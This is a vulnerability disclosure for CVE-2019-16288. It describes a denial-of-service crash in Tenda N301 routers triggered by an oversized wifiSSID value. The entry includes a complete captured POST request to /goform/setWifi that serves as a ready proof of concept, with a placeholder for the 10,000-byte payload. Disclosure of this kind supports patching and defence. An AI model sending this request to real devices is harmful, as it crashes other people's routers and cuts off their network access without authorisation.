CVE-2019-16288

[Description]
On Tenda N301 wireless routers, a long string in the wifiSSID parameter of a goform/setWifi POST request causes the device to crash.

[Additional Information]
injected 10000 byte payload result of denial of service

[VulnerabilityType Other]
denial of service (total hardware crash!)

[Vendor of Product]
https://www.tendacn.com/

[Affected Product Code Base]
Tenda Wireless router - N301

[Affected Component]
POST /goform/setWifi HTTP/1.1
"wifiSSID="

[BurpSuite_POST DATA]
POST /goform/setWifi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 423
Connection: close
Referer: http://192.168.0.1/index.html
Cookie: ecos_pw=MDEyMzQ1Njc41qw:language=cn; bLanguage=en

module1=wifiEn&wifiEn=true&module2=wifiBasicCfg&wifiSSID=**[10000Byte_Payload here!]**&wifiSecurityMode=none&wifiPwd=&wifiHideSSID=false&module7=wifiVirSsid&multiWifiEnable=0&multiWifiSSID=Tenda_Extender&multiWifiPwd=12345678&module3=wifiTime&wifiTimeEn=false&wifiTimeClose=00%3A00-07%3A00&wifiTimeDate=01111100&module4=wifiWPS&wpsEn=false&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&module6=wifiPower&wifiPower=high